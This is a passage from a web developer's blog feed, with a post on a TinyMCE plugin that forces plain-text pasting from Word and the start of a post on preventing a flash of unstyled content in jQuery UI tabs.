    <id>https://blog.pixelastic.com/2010/10/05/copy-paste-text-from-word-into-tinymce</id>
    <content type="html">&lt;p&gt;What good is building a really nice CMS with top-notch WYSIWYG editor if you
handed it to clients that will blindly copy/paste Word documents into it?&lt;/p&gt;
&lt;p&gt;Well, it will just render a big ugly mess of proprietary and contradictory
pseudo-css rules. You could even be blamed for it.&lt;/p&gt;
&lt;h2&gt;The solution&lt;/h2&gt;
&lt;p&gt;The latest versions of tinyMCE came bundled with an improved &lt;code&gt;paste&lt;/code&gt; plugin. It
will automatically attempt to clean bad pasted text by operating some dark
voodoo magic on it.&lt;/p&gt;
&lt;p&gt;It does it quite well to be honest, removing almost all messy formatting. From
the tests I tried, I was still getting useless crap in the resulting text (CSS
comments, &lt;code&gt;&amp;lt;span&amp;gt;&lt;/code&gt; with overly long style of color and background-color
definitions, etc).&lt;/p&gt;
&lt;p&gt;I finally decided to take a more brutal approach. The &lt;code&gt;paste&lt;/code&gt; plugin contained a
&lt;code&gt;_insertPlainText&lt;/code&gt; method that was supposed to be used in conjunction with a
toolbar icon.&lt;/p&gt;
&lt;p&gt;This method removes all formatting. Period.&lt;/p&gt;
&lt;p&gt;As I didn&#39;t want to have to click on a toolbar icon before pasting my text (and
none of my actual clients would ever think of doing that either), I came up with
a very simple plugin to do the boring stuff for me.&lt;/p&gt;
&lt;h2&gt;The plugin&lt;/h2&gt;
&lt;p&gt;The only goal of this plugin is setting to &lt;code&gt;true&lt;/code&gt; the &lt;code&gt;pasteAsPlainText&lt;/code&gt;
property of every editor. This property is defaulted to&lt;code&gt;false&lt;/code&gt;but can be swapped
using the toolbar icon.&lt;/p&gt;
&lt;p&gt;I also forced the &lt;code&gt;paste_text_sticky&lt;/code&gt; setting to &lt;code&gt;true&lt;/code&gt;, preventing the previous
property to revert to &lt;code&gt;false&lt;/code&gt; after the first pasting.&lt;/p&gt;
&lt;p&gt;Here&#39;s my plugin full code:&lt;/p&gt;
&lt;p&gt;Be sure to include the &lt;code&gt;paste&lt;/code&gt; plugin in your plugin list, and insert my plugin
&lt;strong&gt;after&lt;/strong&gt; the paste plugin.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;/**&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt; *    Will automatically convert pasted text so no junk code will be included.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt; *    This plugin depends on the core paste plugin.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt; **/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;()&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;  tinymce&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;create&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;tinymce.plugins.pasteAsPlainTextPlugin&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;    init&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; : &lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;editor&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;url&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;      // We force the pasting to occur as plain text&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;      editor&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;pasteAsPlainText&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; true&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;      // We also put it as sticky to allow for multiple pastings&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;      editor&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;settings&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;paste_text_sticky&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; true&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;      // Adding some special post process&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;      editor&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;settings&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;paste_postprocess&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;a&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;o&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;        var&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; text&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; o&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;content&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;          split&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; String&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;fromCharCode&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;13&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)+&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;String&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;fromCharCode&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;        ;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;        // If content is long text without HTML, We&#39;ll break it into &amp;#x3C;p&gt;ieces&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;        if&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;text&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;charAt&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)!=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;&amp;#x3C;&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; &amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; text&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;indexOf&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;split&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)!=-&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;          // Adding &amp;#x3C;p&gt; around each line&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;          var&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; node&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; document&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;createElement&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;div&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;            sentences&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; text&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;split&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;split&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;          ;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;          for&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; i&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;max&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;sentences&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;length&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;i&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;!=&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;max&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;i&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;++&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;            node&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;innerHTML&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;+=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;&amp;#x3C;p&gt;&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;sentences&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;i&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;]+&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;&amp;#x3C;/p&gt;&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;          }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;          // Saving back in original content/node&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;          o&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;node&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; node&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;          o&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;content&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; node&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;innerHTML&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;        }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;        return&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; o&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;      }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  }&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;  // Register plugin&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;  tinymce&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;PluginManager&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;add&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;pasteAsPlainText&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;tinymce&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;plugins&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;pasteAsPlainTextPlugin&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;])&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)()&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Update&lt;/h2&gt;
&lt;p&gt;I added a &lt;code&gt;postprocess&lt;/code&gt; calback after seing that the pasted text was a little
too plain in Webkit. All my text was displayed on the same line, without the
nice breaking into paragraph that Firefox showed.&lt;/p&gt;
&lt;p&gt;It occured because tinyMCE used the &lt;code&gt;event.clipboardData&lt;/code&gt; property that Webkit
browsers provides and allow for easy retrieving of clipboard data. Unfortunatly
it returned a really plain text, and I had to apply a little loop to replace
each new line with a paragraph.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>How to prevent a FOUC but still gracefully degrade the jQuery UI tabs</title>
    <link href="https://blog.pixelastic.com/2010/08/21/prevent-fouc-gracefully-degrade-jquery-ui-tabs/"/>
    <updated>2010-08-21T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/08/21/prevent-fouc-gracefully-degrade-jquery-ui-tabs</id>
    <content type="html">&lt;p&gt;I finally managed to fix something that was bugging me for a very long time. I&#39;m
talking about the jQuery UI tabs.&lt;/p&gt;
&lt;p&gt;They are pretty useful actually, but I always hated that FOUC they produce. For
one split second, you&#39;ll see all your tabs content, then they&#39;ll be neatly
re-arranged in tabs.&lt;/p&gt;
&lt;p&gt;What I want are my tabs displayed correctly right away, on first load.&lt;/p&gt;
&lt;h2&gt;First, the markup&lt;/h2&gt;
&lt;p&gt;Here&#39;s a typical tabs markup:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-html&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; class&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;tabs&quot;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;    &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;ul&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;        &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;li&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;a&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; href&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;#firstTab&quot;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;First tab&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;a&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;li&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;        &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;li&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;a&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; href&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;#secondTab&quot;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;Second tab&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;a&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;li&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;    &amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;ul&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;    &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; class&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;tabPanel&quot;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; id&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;firstTab&quot;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;        First tab content&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;    &amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;   &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;    &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; class&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;tabPanel&quot;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; id&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;secondTab&quot;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;        Second tab content&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;    &amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;CSS to hide all tabs if Javascript is disabled&lt;/h2&gt;
&lt;p&gt;If your Javascript is disabled, so will jQuery UI. We will then hide the &lt;code&gt;&amp;lt;ul&amp;gt;&lt;/code&gt;
because it serves no purpose here. We will only show it if js is enabled&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-css&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;.tabs&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; ul&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; {&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; display&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;none&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
